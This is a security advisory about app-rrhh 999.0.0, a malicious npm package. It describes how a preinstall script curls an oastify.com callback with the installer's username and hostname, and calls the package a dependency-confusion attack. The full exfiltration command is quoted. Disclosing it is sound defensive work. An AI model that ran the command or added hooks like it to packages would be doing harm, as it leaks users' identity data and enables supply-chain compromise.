app-rrhh

GHSA-c9r8-qhjh-h69j

Malicious code in app-rrhh (npm)

Details

**Severity:** Critical

**Affected versions:** `= 999.0.0`

## Source: amazon-inspector (cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88)
package.json declares a preinstall script that runs `curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$(whoami)/$(hostname)` on `npm install`. The installer's OS username and hostname are embedded in the URL path and sent over plaintext HTTP to a Burp Collaborator (oastify.com) callback subdomain, confirming code execution on the installing host and leaking installer identity data to an attacker-controlled destination. The package name `app-rrhh` at version `999.0.0` with a description referencing dependency confusion is consistent with a dependency-confusion attack shape designed to win resolution against an internal package of the same name.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/2850c1f34b31d7eb57fc9df1083180e7fccbe08e/osv/malicious/npm/app-rrhh/MAL-2026-16144.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/2850c1f34b31d7eb57fc9df1083180e7fccbe08e/osv/malicious/npm/app-rrhh/MAL-2026-16144.json
- https://www.npmjs.com/package/app-rrhh/v/999.0.0
- https://github.com/advisories/GHSA-c9r8-qhjh-h69j

Compromised versions (1)

= 999.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.